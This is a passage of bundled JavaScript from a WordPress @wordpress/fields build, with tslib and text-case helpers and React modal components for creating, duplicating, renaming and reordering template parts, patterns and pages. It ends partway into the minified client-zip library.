4117 if (typeof value !== "object" && typeof value !== "function") throw new TypeError("Object expected.");
4118 var dispose, inner;
4119 if (async) {
4120 if (!Symbol.asyncDispose) throw new TypeError("Symbol.asyncDispose is not defined.");
4121 dispose = value[Symbol.asyncDispose];
4122 }
4123 if (dispose === void 0) {
4124 if (!Symbol.dispose) throw new TypeError("Symbol.dispose is not defined.");
4125 dispose = value[Symbol.dispose];
4126 if (async) inner = dispose;
4127 }
4128 if (typeof dispose !== "function") throw new TypeError("Object not disposable.");
4129 if (inner) dispose = function() { try { inner.call(this); } catch (e) { return Promise.reject(e); } };
4130 env.stack.push({ value: value, dispose: dispose, async: async });
4131 }
4132 else if (async) {
4133 env.stack.push({ async: true });
4134 }
4135 return value;
4136}
4137
4138var _SuppressedError = typeof SuppressedError === "function" ? SuppressedError : function (error, suppressed, message) {
4139 var e = new Error(message);
4140 return e.name = "SuppressedError", e.error = error, e.suppressed = suppressed, e;
4141};
4142
4143function __disposeResources(env) {
4144 function fail(e) {
4145 env.error = env.hasError ? new _SuppressedError(e, env.error, "An error was suppressed during disposal.") : e;
4146 env.hasError = true;
4147 }
4148 var r, s = 0;
4149 function next() {
4150 while (r = env.stack.pop()) {
4151 try {
4152 if (!r.async && s === 1) return s = 0, env.stack.push(r), Promise.resolve().then(next);
4153 if (r.dispose) {
4154 var result = r.dispose.call(r.value);
4155 if (r.async) return s |= 2, Promise.resolve(result).then(next, function(e) { fail(e); return next(); });
4156 }
4157 else s |= 1;
4158 }
4159 catch (e) {
4160 fail(e);
4161 }
4162 }
4163 if (s === 1) return env.hasError ? Promise.reject(env.error) : Promise.resolve();
4164 if (env.hasError) throw env.error;
4165 }
4166 return next();
4167}
4168
4169function __rewriteRelativeImportExtension(path, preserveJsx) {
4170 if (typeof path === "string" && /^\.\.?\//.test(path)) {
4171 return path.replace(/\.(tsx)$|((?:\.d)?)((?:\.[^./]+?)?)\.([cm]?)ts$/i, function (m, tsx, d, ext, cm) {
4172 return tsx ? preserveJsx ? ".jsx" : ".js" : d && (!ext || !cm) ? m : (d + ext + "." + cm.toLowerCase() + "js");
4173 });
4174 }
4175 return path;
4176}
4177
4178/* harmony default export */ const tslib_es6 = ({
4179 __extends,
4180 __assign,
4181 __rest,
4182 __decorate,
4183 __param,
4184 __esDecorate,
4185 __runInitializers,
4186 __propKey,
4187 __setFunctionName,
4188 __metadata,
4189 __awaiter,
4190 __generator,
4191 __createBinding,
4192 __exportStar,
4193 __values,
4194 __read,
4195 __spread,
4196 __spreadArrays,
4197 __spreadArray,
4198 __await,
4199 __asyncGenerator,
4200 __asyncDelegator,
4201 __asyncValues,
4202 __makeTemplateObject,
4203 __importStar,
4204 __importDefault,
4205 __classPrivateFieldGet,
4206 __classPrivateFieldSet,
4207 __classPrivateFieldIn,
4208 __addDisposableResource,
4209 __disposeResources,
4210 __rewriteRelativeImportExtension,
4211});
4212
4213;// ./node_modules/lower-case/dist.es2015/index.js
4214/**
4215 * Source: ftp://ftp.unicode.org/Public/UCD/latest/ucd/SpecialCasing.txt
4216 */
4217var SUPPORTED_LOCALE = {
4218 tr: {
4219 regexp: /\u0130|\u0049|\u0049\u0307/g,
4220 map: {
4221 İ: "\u0069",
4222 I: "\u0131",
4223 İ: "\u0069",
4224 },
4225 },
4226 az: {
4227 regexp: /\u0130/g,
4228 map: {
4229 İ: "\u0069",
4230 I: "\u0131",
4231 İ: "\u0069",
4232 },
4233 },
4234 lt: {
4235 regexp: /\u0049|\u004A|\u012E|\u00CC|\u00CD|\u0128/g,
4236 map: {
4237 I: "\u0069\u0307",
4238 J: "\u006A\u0307",
4239 Į: "\u012F\u0307",
4240 Ì: "\u0069\u0307\u0300",
4241 Í: "\u0069\u0307\u0301",
4242 Ĩ: "\u0069\u0307\u0303",
4243 },
4244 },
4245};
4246/**
4247 * Localized lower case.
4248 */
4249function localeLowerCase(str, locale) {
4250 var lang = SUPPORTED_LOCALE[locale.toLowerCase()];
4251 if (lang)
4252 return lowerCase(str.replace(lang.regexp, function (m) { return lang.map[m]; }));
4253 return lowerCase(str);
4254}
4255/**
4256 * Lower case as a function.
4257 */
4258function lowerCase(str) {
4259 return str.toLowerCase();
4260}
4261
4262;// ./node_modules/no-case/dist.es2015/index.js
4263
4264// Support camel case ("camelCase" -> "camel Case" and "CAMELCase" -> "CAMEL Case").
4265var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g];
4266// Remove all non-word characters.
4267var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi;
4268/**
4269 * Normalize the string into something other libraries can manipulate easier.
4270 */
4271function noCase(input, options) {
4272 if (options === void 0) { options = {}; }
4273 var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? " " : _d;
4274 var result = replace(replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0");
4275 var start = 0;
4276 var end = result.length;
4277 // Trim the delimiter from around the output string.
4278 while (result.charAt(start) === "\0")
4279 start++;
4280 while (result.charAt(end - 1) === "\0")
4281 end--;
4282 // Transform each token independently.
4283 return result.slice(start, end).split("\0").map(transform).join(delimiter);
4284}
4285/**
4286 * Replace `re` in the input string with the replacement value.
4287 */
4288function replace(input, re, value) {
4289 if (re instanceof RegExp)
4290 return input.replace(re, value);
4291 return re.reduce(function (input, re) { return input.replace(re, value); }, input);
4292}
4293
4294;// ./node_modules/dot-case/dist.es2015/index.js
4295
4296
4297function dotCase(input, options) {
4298 if (options === void 0) { options = {}; }
4299 return noCase(input, __assign({ delimiter: "." }, options));
4300}
4301
4302;// ./node_modules/param-case/dist.es2015/index.js
4303
4304
4305function paramCase(input, options) {
4306 if (options === void 0) { options = {}; }
4307 return dotCase(input, __assign({ delimiter: "-" }, options));
4308}
4309
4310;// ./node_modules/@wordpress/fields/build-module/components/create-template-part-modal/utils.js
4311
4312
4313
4314const useExistingTemplateParts = () => {
4315 return (0,external_wp_data_namespaceObject.useSelect)(
4316 (select) => select(external_wp_coreData_namespaceObject.store).getEntityRecords(
4317 "postType",
4318 "wp_template_part",
4319 {
4320 per_page: -1
4321 }
4322 ),
4323 []
4324 ) ?? [];
4325};
4326const getUniqueTemplatePartTitle = (title, templateParts) => {
4327 const lowercaseTitle = title.toLowerCase();
4328 const existingTitles = templateParts.map(
4329 (templatePart) => templatePart.title.rendered.toLowerCase()
4330 );
4331 if (!existingTitles.includes(lowercaseTitle)) {
4332 return title;
4333 }
4334 let suffix = 2;
4335 while (existingTitles.includes(`${lowercaseTitle} ${suffix}`)) {
4336 suffix++;
4337 }
4338 return `${title} ${suffix}`;
4339};
4340const getCleanTemplatePartSlug = (title) => {
4341 return paramCase(title).replace(/[^\w-]+/g, "") || "wp-custom-part";
4342};
4343
4344
4345;// ./node_modules/@wordpress/fields/build-module/components/create-template-part-modal/index.js
4346
4347
4348
4349
4350
4351
4352
4353
4354
4355
4356
4357function getAreaRadioId(value, instanceId) {
4358 return `fields-create-template-part-modal__area-option-${value}-${instanceId}`;
4359}
4360function getAreaRadioDescriptionId(value, instanceId) {
4361 return `fields-create-template-part-modal__area-option-description-${value}-${instanceId}`;
4362}
4363function CreateTemplatePartModal({
4364 modalTitle,
4365 ...restProps
4366}) {
4367 const defaultModalTitle = (0,external_wp_data_namespaceObject.useSelect)(
4368 (select) => select(external_wp_coreData_namespaceObject.store).getPostType("wp_template_part")?.labels?.add_new_item,
4369 []
4370 );
4371 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4372 external_wp_components_namespaceObject.Modal,
4373 {
4374 title: modalTitle || defaultModalTitle,
4375 onRequestClose: restProps.closeModal,
4376 overlayClassName: "fields-create-template-part-modal",
4377 focusOnMount: "firstContentElement",
4378 size: "medium",
4379 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(CreateTemplatePartModalContents, { ...restProps })
4380 }
4381 );
4382}
4383const create_template_part_modal_getTemplatePartIcon = (iconName) => {
4384 if ("header" === iconName) {
4385 return header_default;
4386 } else if ("footer" === iconName) {
4387 return footer_default;
4388 } else if ("sidebar" === iconName) {
4389 return sidebar_default;
4390 }
4391 return symbol_filled_default;
4392};
4393function CreateTemplatePartModalContents({
4394 defaultArea = "uncategorized",
4395 blocks = [],
4396 confirmLabel = (0,external_wp_i18n_namespaceObject.__)("Add"),
4397 closeModal,
4398 onCreate,
4399 onError,
4400 defaultTitle = ""
4401}) {
4402 const { createErrorNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
4403 const { saveEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
4404 const existingTemplateParts = useExistingTemplateParts();
4405 const [title, setTitle] = (0,external_wp_element_namespaceObject.useState)(defaultTitle);
4406 const [area, setArea] = (0,external_wp_element_namespaceObject.useState)(defaultArea);
4407 const [isSubmitting, setIsSubmitting] = (0,external_wp_element_namespaceObject.useState)(false);
4408 const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(CreateTemplatePartModal);
4409 const defaultTemplatePartAreas = (0,external_wp_data_namespaceObject.useSelect)(
4410 (select) => select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.default_template_part_areas,
4411 []
4412 );
4413 async function createTemplatePart() {
4414 if (!title || isSubmitting) {
4415 return;
4416 }
4417 try {
4418 setIsSubmitting(true);
4419 const uniqueTitle = getUniqueTemplatePartTitle(
4420 title,
4421 existingTemplateParts
4422 );
4423 const cleanSlug = getCleanTemplatePartSlug(uniqueTitle);
4424 const templatePart = await saveEntityRecord(
4425 "postType",
4426 "wp_template_part",
4427 {
4428 slug: cleanSlug,
4429 title: uniqueTitle,
4430 content: (0,external_wp_blocks_namespaceObject.serialize)(blocks),
4431 area
4432 },
4433 { throwOnError: true }
4434 );
4435 await onCreate(templatePart);
4436 } catch (error) {
4437 const errorMessage = error instanceof Error && "code" in error && error.message && error.code !== "unknown_error" ? error.message : (0,external_wp_i18n_namespaceObject.__)(
4438 "An error occurred while creating the template part."
4439 );
4440 createErrorNotice(errorMessage, { type: "snackbar" });
4441 onError?.();
4442 } finally {
4443 setIsSubmitting(false);
4444 }
4445 }
4446 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4447 "form",
4448 {
4449 onSubmit: async (event) => {
4450 event.preventDefault();
4451 await createTemplatePart();
4452 },
4453 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: "4", children: [
4454 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4455 external_wp_components_namespaceObject.TextControl,
4456 {
4457 __next40pxDefaultSize: true,
4458 __nextHasNoMarginBottom: true,
4459 label: (0,external_wp_i18n_namespaceObject.__)("Name"),
4460 value: title,
4461 onChange: setTitle,
4462 required: true
4463 }
4464 ),
4465 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("fieldset", { className: "fields-create-template-part-modal__area-fieldset", children: [
4466 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.BaseControl.VisualLabel, { as: "legend", children: (0,external_wp_i18n_namespaceObject.__)("Area") }),
4467 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "fields-create-template-part-modal__area-radio-group", children: (defaultTemplatePartAreas ?? []).map(
4468 (item) => {
4469 const icon = create_template_part_modal_getTemplatePartIcon(item.icon);
4470 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
4471 "div",
4472 {
4473 className: "fields-create-template-part-modal__area-radio-wrapper",
4474 children: [
4475 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4476 "input",
4477 {
4478 type: "radio",
4479 id: getAreaRadioId(
4480 item.area,
4481 instanceId
4482 ),
4483 name: `fields-create-template-part-modal__area-${instanceId}`,
4484 value: item.area,
4485 checked: area === item.area,
4486 onChange: () => {
4487 setArea(item.area);
4488 },
4489 "aria-describedby": getAreaRadioDescriptionId(
4490 item.area,
4491 instanceId
4492 )
4493 }
4494 ),
4495 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4496 external_wp_components_namespaceObject.Icon,
4497 {
4498 icon,
4499 className: "fields-create-template-part-modal__area-radio-icon"
4500 }
4501 ),
4502 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4503 "label",
4504 {
4505 htmlFor: getAreaRadioId(
4506 item.area,
4507 instanceId
4508 ),
4509 className: "fields-create-template-part-modal__area-radio-label",
4510 children: item.label
4511 }
4512 ),
4513 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4514 external_wp_components_namespaceObject.Icon,
4515 {
4516 icon: check_default,
4517 className: "fields-create-template-part-modal__area-radio-checkmark"
4518 }
4519 ),
4520 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4521 "p",
4522 {
4523 className: "fields-create-template-part-modal__area-radio-description",
4524 id: getAreaRadioDescriptionId(
4525 item.area,
4526 instanceId
4527 ),
4528 children: item.description
4529 }
4530 )
4531 ]
4532 },
4533 item.area
4534 );
4535 }
4536 ) })
4537 ] }),
4538 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "right", children: [
4539 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4540 external_wp_components_namespaceObject.Button,
4541 {
4542 __next40pxDefaultSize: true,
4543 variant: "tertiary",
4544 onClick: () => {
4545 closeModal();
4546 },
4547 children: (0,external_wp_i18n_namespaceObject.__)("Cancel")
4548 }
4549 ),
4550 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4551 external_wp_components_namespaceObject.Button,
4552 {
4553 __next40pxDefaultSize: true,
4554 variant: "primary",
4555 type: "submit",
4556 "aria-disabled": !title || isSubmitting,
4557 isBusy: isSubmitting,
4558 children: confirmLabel
4559 }
4560 )
4561 ] })
4562 ] })
4563 }
4564 );
4565}
4566
4567
4568;// ./node_modules/@wordpress/fields/build-module/actions/utils.js
4569
4570
4571function isTemplate(post) {
4572 return post.type === "wp_template";
4573}
4574function isTemplatePart(post) {
4575 return post.type === "wp_template_part";
4576}
4577function isTemplateOrTemplatePart(p) {
4578 return p.type === "wp_template" || p.type === "wp_template_part";
4579}
4580function getItemTitle(item, fallback = (0,external_wp_i18n_namespaceObject.__)("(no title)")) {
4581 let title = "";
4582 if (typeof item.title === "string") {
4583 title = (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(item.title);
4584 } else if (item.title && "rendered" in item.title) {
4585 title = (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(item.title.rendered);
4586 } else if (item.title && "raw" in item.title) {
4587 title = (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(item.title.raw);
4588 }
4589 return title || fallback;
4590}
4591function isTemplateRemovable(template) {
4592 if (!template) {
4593 return false;
4594 }
4595 return [template.source, template.source].includes("custom") && !Boolean(template.type === "wp_template" && template?.plugin) && !template.has_theme_file;
4596}
4597
4598
4599;// ./node_modules/@wordpress/fields/build-module/actions/duplicate-template-part.js
4600
4601
4602
4603
4604
4605
4606
4607
4608const duplicateTemplatePart = {
4609 id: "duplicate-template-part",
4610 label: (0,external_wp_i18n_namespaceObject._x)("Duplicate", "action label"),
4611 isEligible: (item) => item.type === "wp_template_part",
4612 modalHeader: (0,external_wp_i18n_namespaceObject._x)("Duplicate template part", "action label"),
4613 modalFocusOnMount: "firstContentElement",
4614 RenderModal: ({ items, closeModal }) => {
4615 const [item] = items;
4616 const blocks = (0,external_wp_element_namespaceObject.useMemo)(() => {
4617 return item.blocks ?? (0,external_wp_blocks_namespaceObject.parse)(
4618 typeof item.content === "string" ? item.content : item.content.raw,
4619 {
4620 __unstableSkipMigrationLogs: true
4621 }
4622 );
4623 }, [item.content, item.blocks]);
4624 const { createSuccessNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
4625 function onTemplatePartSuccess(templatePart) {
4626 createSuccessNotice(
4627 (0,external_wp_i18n_namespaceObject.sprintf)(
4628 // translators: %s: The new template part's title e.g. 'Call to action (copy)'.
4629 (0,external_wp_i18n_namespaceObject._x)('"%s" duplicated.', "template part"),
4630 getItemTitle(templatePart)
4631 ),
4632 { type: "snackbar", id: "edit-site-patterns-success" }
4633 );
4634 closeModal?.();
4635 }
4636 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4637 CreateTemplatePartModalContents,
4638 {
4639 blocks,
4640 defaultArea: item.area,
4641 defaultTitle: (0,external_wp_i18n_namespaceObject.sprintf)(
4642 /* translators: %s: Existing template part title */
4643 (0,external_wp_i18n_namespaceObject._x)("%s (Copy)", "template part"),
4644 getItemTitle(item)
4645 ),
4646 onCreate: onTemplatePartSuccess,
4647 onError: closeModal,
4648 confirmLabel: (0,external_wp_i18n_namespaceObject._x)("Duplicate", "action label"),
4649 closeModal: closeModal ?? (() => {
4650 })
4651 }
4652 );
4653 }
4654};
4655var duplicate_template_part_default = duplicateTemplatePart;
4656
4657
4658;// external ["wp","patterns"]
4659const external_wp_patterns_namespaceObject = window["wp"]["patterns"];
4660;// ./node_modules/@wordpress/fields/build-module/lock-unlock.js
4661
4662const { lock: lock_unlock_lock, unlock: lock_unlock_unlock } = (0,external_wp_privateApis_namespaceObject.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(
4663 "I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.",
4664 "@wordpress/fields"
4665);
4666
4667
4668;// ./node_modules/@wordpress/fields/build-module/actions/duplicate-pattern.js
4669
4670
4671
4672
4673const { CreatePatternModalContents, useDuplicatePatternProps } = lock_unlock_unlock(external_wp_patterns_namespaceObject.privateApis);
4674const duplicatePattern = {
4675 id: "duplicate-pattern",
4676 label: (0,external_wp_i18n_namespaceObject._x)("Duplicate", "action label"),
4677 isEligible: (item) => item.type !== "wp_template_part",
4678 modalHeader: (0,external_wp_i18n_namespaceObject._x)("Duplicate pattern", "action label"),
4679 modalFocusOnMount: "firstContentElement",
4680 RenderModal: ({ items, closeModal }) => {
4681 const [item] = items;
4682 const duplicatedProps = useDuplicatePatternProps({
4683 pattern: item,
4684 onSuccess: () => closeModal?.()
4685 });
4686 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4687 CreatePatternModalContents,
4688 {
4689 onClose: closeModal,
4690 confirmLabel: (0,external_wp_i18n_namespaceObject._x)("Duplicate", "action label"),
4691 ...duplicatedProps
4692 }
4693 );
4694 }
4695};
4696var duplicate_pattern_default = duplicatePattern;
4697
4698
4699;// ./node_modules/@wordpress/fields/build-module/actions/rename-post.js
4700
4701
4702
4703
4704
4705
4706
4707
4708
4709
4710const { PATTERN_TYPES } = lock_unlock_unlock(external_wp_patterns_namespaceObject.privateApis);
4711const renamePost = {
4712 id: "rename-post",
4713 label: (0,external_wp_i18n_namespaceObject.__)("Rename"),
4714 modalFocusOnMount: "firstContentElement",
4715 isEligible(post) {
4716 if (post.status === "trash") {
4717 return false;
4718 }
4719 if (![
4720 "wp_template",
4721 "wp_template_part",
4722 ...Object.values(PATTERN_TYPES)
4723 ].includes(post.type)) {
4724 return post.permissions?.update;
4725 }
4726 if (isTemplate(post)) {
4727 return isTemplateRemovable(post) && post.is_custom && post.permissions?.update;
4728 }
4729 if (isTemplatePart(post)) {
4730 return post.source === "custom" && !post?.has_theme_file && post.permissions?.update;
4731 }
4732 return post.type === PATTERN_TYPES.user && post.permissions?.update;
4733 },
4734 RenderModal: ({ items, closeModal, onActionPerformed }) => {
4735 const [item] = items;
4736 const [title, setTitle] = (0,external_wp_element_namespaceObject.useState)(() => getItemTitle(item, ""));
4737 const { editEntityRecord, saveEditedEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
4738 const { createSuccessNotice, createErrorNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
4739 async function onRename(event) {
4740 event.preventDefault();
4741 try {
4742 await editEntityRecord("postType", item.type, item.id, {
4743 title
4744 });
4745 setTitle("");
4746 closeModal?.();
4747 await saveEditedEntityRecord("postType", item.type, item.id, {
4748 throwOnError: true
4749 });
4750 createSuccessNotice((0,external_wp_i18n_namespaceObject.__)("Name updated"), {
4751 type: "snackbar"
4752 });
4753 onActionPerformed?.(items);
4754 } catch (error) {
4755 const typedError = error;
4756 const errorMessage = typedError.message && typedError.code !== "unknown_error" ? typedError.message : (0,external_wp_i18n_namespaceObject.__)("An error occurred while updating the name");
4757 createErrorNotice(errorMessage, { type: "snackbar" });
4758 }
4759 }
4760 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("form", { onSubmit: onRename, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: "5", children: [
4761 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4762 external_wp_components_namespaceObject.TextControl,
4763 {
4764 __nextHasNoMarginBottom: true,
4765 __next40pxDefaultSize: true,
4766 label: (0,external_wp_i18n_namespaceObject.__)("Name"),
4767 value: title,
4768 onChange: setTitle,
4769 required: true
4770 }
4771 ),
4772 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "right", children: [
4773 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4774 external_wp_components_namespaceObject.Button,
4775 {
4776 __next40pxDefaultSize: true,
4777 variant: "tertiary",
4778 onClick: () => {
4779 closeModal?.();
4780 },
4781 children: (0,external_wp_i18n_namespaceObject.__)("Cancel")
4782 }
4783 ),
4784 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4785 external_wp_components_namespaceObject.Button,
4786 {
4787 __next40pxDefaultSize: true,
4788 variant: "primary",
4789 type: "submit",
4790 children: (0,external_wp_i18n_namespaceObject.__)("Save")
4791 }
4792 )
4793 ] })
4794 ] }) });
4795 }
4796};
4797var rename_post_default = renamePost;
4798
4799
4800;// ./node_modules/@wordpress/fields/build-module/actions/reorder-page.js
4801
4802
4803
4804
4805
4806
4807
4808function isItemValid(item) {
4809 return typeof item.menu_order === "number" && Number.isInteger(item.menu_order);
4810}
4811function ReorderModal({
4812 items,
4813 closeModal,
4814 onActionPerformed
4815}) {
4816 const [item, setItem] = (0,external_wp_element_namespaceObject.useState)(items[0]);
4817 const { editEntityRecord, saveEditedEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
4818 const { createSuccessNotice, createErrorNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
4819 const isValid = isItemValid(item);
4820 async function onOrder(event) {
4821 event.preventDefault();
4822 if (!isValid) {
4823 return;
4824 }
4825 try {
4826 await editEntityRecord("postType", item.type, item.id, {
4827 menu_order: item.menu_order
4828 });
4829 closeModal?.();
4830 await saveEditedEntityRecord("postType", item.type, item.id, {
4831 throwOnError: true
4832 });
4833 createSuccessNotice((0,external_wp_i18n_namespaceObject.__)("Order updated."), {
4834 type: "snackbar"
4835 });
4836 onActionPerformed?.(items);
4837 } catch (error) {
4838 const typedError = error;
4839 const errorMessage = typedError.message && typedError.code !== "unknown_error" ? typedError.message : (0,external_wp_i18n_namespaceObject.__)("An error occurred while updating the order");
4840 createErrorNotice(errorMessage, {
4841 type: "snackbar"
4842 });
4843 }
4844 }
4845 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("form", { onSubmit: onOrder, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: "5", children: [
4846 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { children: (0,external_wp_i18n_namespaceObject.__)(
4847 "Determines the order of pages. Pages with the same order value are sorted alphabetically. Negative order values are supported."
4848 ) }),
4849 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4850 external_wp_components_namespaceObject.__experimentalInputControl,
4851 {
4852 __next40pxDefaultSize: true,
4853 label: (0,external_wp_i18n_namespaceObject.__)("Order"),
4854 type: "number",
4855 value: typeof item.menu_order === "number" && Number.isInteger(item.menu_order) ? String(item.menu_order) : "",
4856 onChange: (value) => {
4857 const parsed = parseInt(value, 10);
4858 setItem({
4859 ...item,
4860 menu_order: isNaN(parsed) ? void 0 : parsed
4861 });
4862 }
4863 }
4864 ),
4865 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "right", children: [
4866 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4867 external_wp_components_namespaceObject.Button,
4868 {
4869 __next40pxDefaultSize: true,
4870 variant: "tertiary",
4871 onClick: () => {
4872 closeModal?.();
4873 },
4874 children: (0,external_wp_i18n_namespaceObject.__)("Cancel")
4875 }
4876 ),
4877 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4878 external_wp_components_namespaceObject.Button,
4879 {
4880 __next40pxDefaultSize: true,
4881 variant: "primary",
4882 type: "submit",
4883 accessibleWhenDisabled: true,
4884 disabled: !isValid,
4885 children: (0,external_wp_i18n_namespaceObject.__)("Save")
4886 }
4887 )
4888 ] })
4889 ] }) });
4890}
4891const reorderPage = {
4892 id: "order-pages",
4893 label: (0,external_wp_i18n_namespaceObject.__)("Order"),
4894 isEligible({ status }) {
4895 return status !== "trash";
4896 },
4897 modalFocusOnMount: "firstContentElement",
4898 RenderModal: ReorderModal
4899};
4900var reorder_page_default = reorderPage;
4901
4902
4903;// ./node_modules/client-zip/index.js
4904"stream"in Blob.prototype||Object.defineProperty(Blob.prototype,"stream",{value(){return new Response(this).body}}),"setBigUint64"in DataView.prototype||Object.defineProperty(DataView.prototype,"setBigUint64",{value(e,n,t){const i=Number(0xffffffffn&n),r=Number(n>>32n);this.setUint32(e+(t?0:4),i,t),this.setUint32(e+(t?4:0),r,t)}});var e=e=>new DataView(new ArrayBuffer(e)),n=e=>new Uint8Array(e.buffer||e),t=e=>(new TextEncoder).encode(String(e)),i=e=>Math.min(4294967295,Number(e)),r=e=>Math.min(65535,Number(e));function o(e,i,r){void 0===i||i instanceof Date||(i=new Date(i));const o=void 0!==e;if(r||(r=o?436:509),e instanceof File)return{isFile:o,t:i||new Date(e.lastModified),bytes:e.stream(),mode:r};if(e instanceof Response)return{isFile:o,t:i||new Date(e.headers.get("Last-Modified")||Date.now()),bytes:e.body,mode:r};if(void 0===i)i=new Date;else if(isNaN(i))throw new Error("Invalid modification date.");if(!o)return{isFile:o,t:i,mode:r};if("string"==typeof e)return{isFile:o,t:i,bytes:t(e),mode:r};if(e instanceof Blob)return{isFile:o,t:i,bytes:e.stream(),mode:r};if(e instanceof Uint8Array||e instanceof ReadableStream)return{isFile:o,t:i,bytes:e,mode:r};if(e instanceof ArrayBuffer||ArrayBuffer.isView(e))return{isFile:o,t:i,bytes:n(e),mode:r};if(Symbol.asyncIterator in e)return{isFile:o,t:i,bytes:f(e[Symbol.asyncIterator]()),mode:r};throw new TypeError("Unsupported input format.")}function f(e,n=e){return new ReadableStream({async pull(n){let t=0;for(;n.desiredSize>t;){const i=await e.next();if(!i.value){n.close();break}{const e=a(i.value);n.enqueue(e),t+=e.byteLength}}},cancel(e){n.throw?.(e)}})}function a(e){return"string"==typeof e?t(e):e instanceof Uint8Array?e:n(e)}function s(e,i,r){let[o,f]=function(e){return e?e instanceof Uint8Array?[e,1]:ArrayBuffer.isView(e)||e instanceof ArrayBuffer?[n(e),1]:[t(e),0]:[void 0,0]}(i);if(e instanceof File)return{i:d(o||t(e.name)),o:BigInt(e.size),u:f};if(e instanceof Response){const n=e.headers.get("content-disposition"),i=n&&n.match(/;\s*filename\*?\s*=\s*(?:UTF-\d+''|)["']?([^;"'\r\n]*)["']?(?:;|$)/i),a=i&&i[1]||e.url&&new URL(e.url).pathname.split("/").findLast(Boolean),s=a&&decodeURIComponent(a),u=r||+e.headers.get("content-length");return{i:d(o||t(s)),o:BigInt(u),u:f}}return o=d(o,void 0!==e||void 0!==r),"string"==typeof e?{i:o,o:BigInt(t(e).length),u:f}:e instanceof Blob?{i:o,o:BigInt(e.size),u:f}:e instanceof ArrayBuffer||ArrayBuffer.isView(e)?{i:o,o:BigInt(e.byteLength),u:f}:{i:o,o:u(e,r),u:f}}function u(e,n){return n>-1?BigInt(n):e?void 0:0n}function d(e,n=1){if(!e||e.every((c=>47===c)))throw new Error("The file must have a name.");if(n)for(;47===e[e.length-1];)e=e.subarray(0,-1);else 47!==e[e.length-1]&&(e=new Uint8Array([...e,47]));return e}var l=new Uint32Array(256);for(let e=0;e<256;++e){let n=e;for(let e=0;e<8;++e)n=n>>>1^(1&n&&3988292384);l[e]=n}function y(e,n=0){n=~n;for(var t=0,i=e.length;t<i;t++)n=n>>>8^l[255&n^e[t]];return~n>>>0}function w(e,n,t=0){const 